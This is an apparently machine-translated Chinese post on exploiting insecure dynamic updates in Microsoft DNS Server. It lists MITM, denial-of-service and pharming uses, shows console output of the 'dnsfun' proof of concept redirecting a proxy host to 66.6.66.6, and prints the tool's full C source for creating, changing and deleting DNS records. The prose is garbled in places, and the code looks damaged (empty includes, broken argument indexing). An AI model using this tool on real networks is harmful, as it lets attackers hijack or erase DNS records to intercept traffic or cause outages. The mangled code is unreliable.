针对微软DNS Server动态升级漏洞的解析

tznktg

在系统设定下，大多数微软DNS服务的每个DNS记录都整合了允许非安全的动态升级的动态目录索引。这项功能能够允许远程用户创建修改和删除DNS记录。

这是基于此的几个攻击说明：

+ MITM 攻击：修改DNS记录。

这种攻击方式是最可靠的，同时也允许我们为许多Windows软件开发自动升级和同时修改二进制数。

+ 服务的拒绝：通过删除修改关键性的DNS记录。

+ Pharm：类似于MITM攻击，可以使许多DNS记录中毒。

DNS爱好者们就是利用那些薄弱的软件设置环节进行对DNS记录的修改。这里有些做过的例子，请大家参考：

1. D:\DNSfun>ping -n 1 FakeProxy.fooooo.com
   
2. Haciendo ping a FakeProxy.fooooo.com [66.6.66.6] con 32 bytes de datos:
   
3.       
   
4. D:\DNSfun>dnsfun.exe -s 10.100.1.1 -q  proxy.mydomain -u 66.6.66.6
   
5. Microsoft Dynamic DNS Updates - Proof of Concept
   
6. http://www.514.es - (c) 2007 Andres Tarasco Acu?a
   
7.       
   
8. [+] Trying to resolve Host: proxy.mydomain (Dns Server 10.100.1.1)
   
9. [+] Host proxy.mydomain resolved as 192.168.1.200
   
10. [+] Trying to set ip address of the host proxy.mydomain to 66.6.66.6
    
11. [+] Trying Nonsecure Dynamic Update...
    
12. [?] Host Updated. Checking...(0)
    
13. [+] Host proxy.mydomain resolved as 66.6.66.6
    
14. 
    
15. D:\DNSfun>dnsfun.exe -s 10.100.1.1 -cc atarasco.mydomain.com -u www.514.es
    
16. Microsoft Dynamic DNS Updates - Proof of Concept
    
17. http://www.514.es - (c) 2007 Andres Tarasco Acu?a
    
18. 
    
19. [+] Gathering Credentials..
    
20. [+] Creating DNS CName Record for atarasco.mydomain.com (www.514.es)
    
21. [+] Host Created. Rechecking Record...
    
22. [+] Host atarasco.mydomain.com resolved as CNAME www.514.es

复制代码

这虽然已经不是一个新的漏洞，但是很多人还是没有发现利用它。检查惯用函数，你会发现很多新功能：

1. */
   
2. #include  
   
3. #include  
   
4. #include  
   
5. #pragma comment(lib,"Dnsapi.lib")
   
6. #pragma comment(lib, "ws2_32.lib")
   
7. 
   
8. char TargetDnsServer[256]=""; // -s
   
9. char TargetDnsRecord[256]=""; // -q
   
10. char NewIpAddress[256]="";    // -i
    
11. char DeleteDnsRecord[256]=""; //-d
    
12. char CreateDnsRecord[256]="";
    
13. 
    
14. WORD CreationType=DNS_TYPE_A;
    
15. 
    
16. #define DELETERECORD   (DeleteDnsRecord[0]!='\0')
    
17. #define UPDATERECORD ( (TargetDnsRecord[0]!='\0') && (NewIpAddress[0]!='\0') )
    
18. #define CREATERECORD ( (CreateDnsRecord[0]!='\0') && (NewIpAddress[0]!='\0') )
    
19. #define QUERYRECORD    (TargetDnsRecord[0]!='\0')
    
20. #define _DBG_
    
21. #undef _DBG_
    
22. 
    
23. void usage(char *argv[]);
    
24. 
    
25. 
    
26. DNS_RECORDA *DnsQueryA(char *name,IP4_ARRAY *servers)
    
27. {
    
28.    
    
29.    DNS_STATUS status;
    
30.    WORD type= DNS_TYPE_ANY;
    
31.    DWORD fOptions=DNS_QUERY_BYPASS_CACHE | DNS_QUERY_NO_LOCAL_NAME
    
32. |DNS_QUERY_NO_HOSTS_FILE | DNS_QUERY_NO_NETBT |
    
33. 
    
34. DNS_QUERY_TREAT_AS_FQDN;
    
35.    PVOID* reserved=NULL;
    
36.    DNS_RECORDA *records=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));
    
37.    DNS_RECORDA *result;
    
38.    IN_ADDR ipaddr;
    
39.    int i;
    
40.    int count=0;         
    
41.    
    
42.    if (!name) {
    
43.       return (NULL);
    
44.    } else {
    
45.       memset(records,'\0',sizeof(DNS_RECORDA));
    
46.       status = DnsQuery_A( name,          //PCWSTR pszName,
    
47.          type,          //WORD wType,
    
48.          fOptions,      //DWORD fOptions,
    
49.          servers,       //PIP4_ARRAY aipServers,
    
50.          (DNS_RECORDA**)&records,    //PDNS_RECORD* ppQueryResultsSet,
    
51.          reserved ); //PVOID* pReserved
    
52.       
    
53.       if (status == ERROR_SUCCESS)
    
54.       {
    
55.          fflush(stdout);
    
56.          result=records;
    
57.          do {
    
58. #ifdef _DBG_     
    
59.             printf("[+] Record %i---\n",count);
    
60.             count++;
    
61.             printf("[+] DNS  wDataLength %i\n",result->wDataLength);
    
62.             printf("[+] DNS Flags DW: %x\n",result->Flags.DW);
    
63.             printf("[+] DNS Flags S.Section: %x\n",result->Flags.S.Section);
    
64.             printf("[+] DNS Flags S.Delete: %x\n",result->Flags.S.Delete);
    
65.             printf("[+] DNS Flags S.CharSet: %x\n",result->Flags.S.CharSet);
    
66.             printf("[+] DNS Flags S.Unused: %x\n",result->Flags.S.Unused);
    
67.             printf("[+] DNS Flags S.Reserved: %x\n",result->Flags.S.Reserved);
    
68. #endif
    
69.             switch (result->wType) {
    
70.             case DNS_TYPE_A:
    
71.                ipaddr.S_un.S_addr = (result->Data.A.IpAddress);
    
72.                printf("[+] Host %s resolved as %s\n", result->pName,inet_ntoa(ipaddr));
    
73.                break;
    
74.             case DNS_TYPE_NS:
    
75.                printf("[+] Domain %s Dns Servers: %s\n",result->pName,result->Data.Ns.pNameHost);
    
76.                break;
    
77.             case DNS_TYPE_CNAME:
    
78.                printf("[+] Host %s resolved as CNAME %s\n", result->pName,result-
    
79. >Data.Cname.pNameHost);
    
80.                //DnsQueryA(result->Data.Cname.pNameHost,servers);
    
81.                break;
    
82.                
    
83.             case DNS_TYPE_SOA:
    
84.                printf("[+] SOA Information: PrimaryServer: %s\n",result-
    
85. >Data.Soa.pNamePrimaryServer);
    
86.                printf("[+] SOA Information: Administrator: %s\n",result-
    
87. >Data.Soa.pNameAdministrator);
    
88.                printf("[+] SOA Information: SerialNo %x - Refresh %i - retry %i - Expire %
    
89. i - DefaultTld %i\n",
    
90.                   result->Data.Soa.dwSerialNo,
    
91.                   result->Data.Soa.dwRefresh,
    
92.                   result->Data.Soa.dwRetry,
    
93.                   result->Data.Soa.dwExpire,
    
94.                   result->Data.Soa.dwDefaultTtl);
    
95.                break;
    
96.                
    
97.             case DNS_TYPE_MX:
    
98.                printf("[+] %s MX Server resolved as %s (Preference %i)\n", result-
    
99. >pName,result->Data.Mx.pNameExchange,
    
100. 
     
101. result->Data.Mx.wPreference);
     
102.                break;
     
103. 
     
104.             case DNS_TYPE_TEXT:
     
105.                printf("[+] Text: %i bytes\n",result->Data.Txt.dwStringCount); //:?
     
106.                break;
     
107. 
     
108.             case DNS_TYPE_SRV:
     
109.                printf("[+] SRV Record. NameTarget %s ",result->Data.Srv.pNameTarget);
     
110.                printf("(Priority %i - Port %i - Weigth:
     
111. 
     
112. %i)\n",result->Data.Srv.wPriority,result->Data.Srv.wPort,result->Data.Srv.wWeight);
     
113.                //printf("[+] Resource Pad %i \n",result->Data.Srv.Pad);
     
114.                break;
     
115.                
     
116.             default:
     
117.                printf("[-] DnsQuery returned unknown wtype %x\n",result->wType);
     
118.                break;
     
119.             }
     
120.             result=result->pNext;
     
121.          } while (result!=NULL);
     
122.       } else {
     
123.          if (status==9003) printf("[-] Record not found\n");
     
124.          else printf("[-] Query Error: %i - %i\n",status,GetLastError());
     
125.          exit(-1);
     
126.       }
     
127.    }
     
128.    return records;
     
129. }
     
130. /***********************************************************************************************/
     
131. int main(int argc, char *argv[]) {
     
132.    
     
133.    HANDLE creds;
     
134.    DNS_RECORDA *result;
     
135.    DNS_STATUS status;
     
136.    
     
137.    HANDLE ContextHandle;
     
138.    DWORD Options=DNS_UPDATE_SECURITY_ON;
     
139.    PVOID pReserved=NULL;
     
140.    IN_ADDR ipaddr;
     
141.    IP4_ARRAY *servers=NULL;
     
142.    SEC_WINNT_AUTH_IDENTITY_A *Credentials=NULL;
     
143.    WORD i;
     
144.       
     
145.    printf(" Microsoft Dynamic DNS Updates - Proof of Concept\n");
     
146.    printf(" http://www.514.es - (c) 2007 Andres Tarasco Acu?a\n\n");
     
147.    if (argc==1) usage(argv);
     
148.       
     
149.    //Init Credentials Struct
     
150.    Credentials = (SEC_WINNT_AUTH_IDENTITY_A *)malloc(sizeof(SEC_WINNT_AUTH_IDENTITY_A));
     
151.    memset(Credentials,'\0',sizeof(SEC_WINNT_AUTH_IDENTITY_A));
     
152.    Credentials->Flags=SEC_WINNT_AUTH_IDENTITY_ANSI;   
     
153.    for(i=1;i<argc;i++) {
     
154.       if ( (argv[0]=='-') ) {
     
155.          switch (argv[1]) {
     
156.          case 's':
     
157.          case 'S':
     
158.             strcpy(TargetDnsServer,argv[i+1]);
     
159.             servers=(PIP4_ARRAY)malloc(sizeof(IP4_ARRAY));
     
160.             servers->AddrCount=1;
     
161.             servers->AddrArray[0]=inet_addr(TargetDnsServer);
     
162.             break;
     
163.          case 'D':
     
164.          case 'd':
     
165.             strcpy(DeleteDnsRecord,argv[i+1]);
     
166.             break;                     
     
167.          case 'q':
     
168.          case 'Q':
     
169.             strcpy(TargetDnsRecord,argv[i+1]);
     
170.             break;
     
171.          case 'u':
     
172.          case 'U':
     
173.             strcpy(NewIpAddress,argv[i+1]);
     
174.             break;
     
175.          case 'c':
     
176.          case 'C':
     
177.             strcpy(CreateDnsRecord,argv[i+1]);
     
178.             if (NewIpAddress[0]=='\0') strcpy(NewIpAddress,"127.0.0.1");
     
179.             if (argv[2]!='\0') {
     
180.                switch (argv[2]) {
     
181.                case 'c': CreationType=DNS_TYPE_CNAME;
     
182.                   break;
     
183.                case 'a': CreationType=DNS_TYPE_A;
     
184.                   break;
     
185.                }
     
186.             }
     
187.             break;           
     
188.             /*
     
189.             case 'f':
     
190.                CreateThread( NULL,0,HttpRelayToProxy,(LPVOID) &i,0,&dwThreadId);
     
191.                break;
     
192.             case 'au': //Uauthorization serName
     
193.             Credentials->User=argv[i+1]; Credentials->UserLength=strlen(argv[i+1]);   
     
194. break;
     
195.             case 'ap':
     
196.             Credentials->Password=argv[i+1];Credentials->PasswordLength=strlen(argv
     
197. [i+1]); break;
     
198.             case 'ad':
     
199.             Credentials->Domain=argv[i+1]; Credentials->DomainLength=strlen(argv[i+1]);  
     
200. break;     
     
201.             */
     
202.          default:
     
203.             printf("[-] Invalid argument: %s\n",argv);
     
204.             usage(argv);
     
205.             break;
     
206.          }
     
207.          i++;            
     
208.       } else usage(argv);
     
209.    }
     
210.    
     
211.    printf("[+] Gathering Credentials..\n");
     
212.    //http://msdn2.microsoft.com/en-us/library/ms682007.aspx
     
213.    if (Credentials->UserLength==0) {
     
214.       status=DnsAcquireContextHandle(FALSE,NULL,&ContextHandle); //Context with default
     
215. Credentials
     
216.    } else {
     
217.       status=DnsAcquireContextHandle(FALSE,Credentials,&ContextHandle); //Context with
     
218. Custom Credentials
     
219.    }
     
220.    
     
221.    if (status == ERROR_SUCCESS) {           
     
222.       if (CREATERECORD) {
     
223.          
     
224.          result=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));
     
225.          memset(result,'\0',sizeof(DNS_RECORDA));
     
226.          result->wType=CreationType; //DNS_TYPE_A by default
     
227.          if (CreationType==DNS_TYPE_CNAME) {
     
228.             printf("[+] Creating DNS CName Record for %s (%s)
     
229. \n",CreateDnsRecord,NewIpAddress);
     
230.             result->Data.Cname.pNameHost=NewIpAddress;
     
231.          } else {
     
232.             printf("[+] Creating DNS A Record for %s (%s)\n",CreateDnsRecord,NewIpAddress);
     
233.             result->Data.A.IpAddress=inet_addr(NewIpAddress);
     
234.          }
     
235.          result->pName=CreateDnsRecord;
     
236.          result->wDataLength=4;
     
237.          result->Flags.S.Section=1;
     
238.          result->Flags.S.CharSet=DnsCharSetAnsi;
     
239.          result->pNext=NULL;      
     
240. 
     
241.          status=DnsModifyRecordsInSet_A(result,  //add record
     
242.             NULL, //delete record
     
243.             Options,
     
244.             ContextHandle,
     
245.             servers,
     
246.             NULL);
     
247.          if (status ==ERROR_SUCCESS) {
     
248.             printf("[+] Host Created. Rechecking Record...\n");
     
249.             DnsRecordListFree(result,DnsFreeRecordList);
     
250.             result=DnsQueryA(CreateDnsRecord,servers);
     
251.          } else {
     
252.             printf("[-] Error: Unable to create  %s (%i)\n",CreateDnsRecord,status);
     
253.          }      
     
254.       } else if (DELETERECORD) {         
     
255.          printf("[+] Trying to resolve Host: %s before deleting\n",DeleteDnsRecord);
     
256.          result=DnsQueryA(DeleteDnsRecord,servers);
     
257.          if (result!=NULL) {
     
258.             printf("[+] Trying to Delete Record. Are You Sure? (Y/N)...");
     
259.             i=getchar(); if (i!='y') return(-1);
     
260.             printf("[+] Deleting record %s\n",DeleteDnsRecord);   
     
261.             status=DnsModifyRecordsInSet_A(NULL,  //add record
     
262.                result, //delete record
     
263.                Options,
     
264.                ContextHandle,
     
265.                servers,
     
266.                NULL);      
     
267.             if (status ==ERROR_SUCCESS) {
     
268.                printf("[+] Host Deleted. Rechecking Record %s...\n",DeleteDnsRecord);
     
269.                DnsRecordListFree(result,DnsFreeRecordList);
     
270.                result=DnsQueryA(DeleteDnsRecord,servers);
     
271.             } else {
     
272.                printf("[-] Error: Unable to Delete %s\n",DeleteDnsRecord);
     
273.             }
     
274.          } else {
     
275.             printf("[-] Host %s not found\n",DeleteDnsRecord);
     
276.          }
     
277. 
     
278.       } else if (UPDATERECORD) {
     
279.          //         exit(1);
     
280.          printf("[+] Trying to resolve Host: %s before updating\n",TargetDnsRecord);
     
281.          result=DnsQueryA(TargetDnsRecord,servers);
     
282.          if (result->wType==DNS_TYPE_A ) {
     
283.             printf("[+] Trying to update record. Are You Sure? (Y/N)...");
     
284.             i=getchar(); if (i!='y') return(-1);
     
285.             result->Data.A.IpAddress=inet_addr(NewIpAddress);//Modify Dns record
     
286.             ipaddr.S_un.S_addr = (result->Data.A.IpAddress);
     
287.             printf("[+] Trying to set ip address of the host %s to %s \n",
     
288. 
     
289. TargetDnsRecord,NewIpAddress);//inet_ntoa(ipaddr));
     
290.             printf("[+] Trying to Modify Record...\n");
     
291.             status=DnsReplaceRecordSetA(result,
     
292.                Options, //Attempts nonsecure dynamic update. If refused, then attempts
     
293. secure dynamic update.
     
294.                ContextHandle,
     
295.                servers,//pServerList,
     
296.                NULL);//pReserved
     
297.             if (status ==ERROR_SUCCESS) {
     
298.                printf("[+] Host Updated. Rechecking Record...\n");
     
299.                DnsRecordListFree(result,DnsFreeRecordList);
     
300.                result=DnsQueryA(TargetDnsRecord,servers);
     
301.             } else {
     
302.                printf("[-] Error: Unable to Delete %s\n",TargetDnsRecord);
     
303.             }
     
304. 
     
305.          } else {
     
306.             printf("[-] Unable to Update Record (Type %x)\n",result->wType);
     
307.             }
     
308.       } else if (QUERYRECORD) {
     
309.          printf("[+] Query Information for host %s...\n",TargetDnsRecord);
     
310.          result=DnsQueryA(TargetDnsRecord,servers);
     
311.          DnsRecordListFree(result,DnsFreeRecordList);         
     
312.       } else {
     
313.          printf("[-] Unknown Options\n");
     
314.          return(-1);
     
315.       }           
     
316.    } else {
     
317.       printf("[-] Error Calling DnsAcquireContextHandle\n");   
     
318.    }
     
319.    return (1);
     
320. }
     
321. 
     
322. /****************************************************************************/
     
323. void usage(char *argv[]) {   
     
324.    printf(" Usage:\n");
     
325.    printf("\t%s\t -[s]d|c|q \n",argv[0]);
     
326.    printf(" Details:\n");   
     
327.    printf("\t%s\t -s  ip        (dns Server (optional))\n",argv[0]);
     
328.    printf("\t%s\t -d  fqdn      (Delete dns record)\n",argv[0]);
     
329.    printf("\t%s\t -q  fqdn      (Query  dns record)\n",argv[0]);
     
330.    printf("\t%s\t -c[a|c] ip    (Create A or CName record (default A))\n",argv[0]);
     
331.    printf("\t%s\t -u  ip|fqdn   (Update dns record (requires -q or -c))\n",argv[0]);   
     
332.    printf("\n Examples:\n");
     
333.    printf("\t%s -s 10.0.0.1 -q proxy.mydomain.com -u 5.1.4.77 (Updates record)\n",argv
     
334. [0]);
     
335.    printf("\t%s -s 10.0.0.1 -d foo.mydomain.com      (delete foo.mydomain.com record)
     
336. \n",argv[0]);
     
337.    printf("\t%s -s 10.0.0.1 -c atarasco.foo.mydomain.com -u 5.14.7.7 (creates record)
     
338. \n",argv[0]);
     
339.    printf("\t%s -s 10.0.0.1 -cc www.atarasco.foo.mydomain.com -u 5.14.7.7 (creates record)
     
340. \n",argv[0]);
     
341.    printf("\t%s -s 10.0.0.1 -q _ldap._tcp.mydomain             (Query for srv record)
     
342. \n",argv[0]);
     
343.    exit(0);
     
344. }
     
345. /****************************************************************************/

复制代码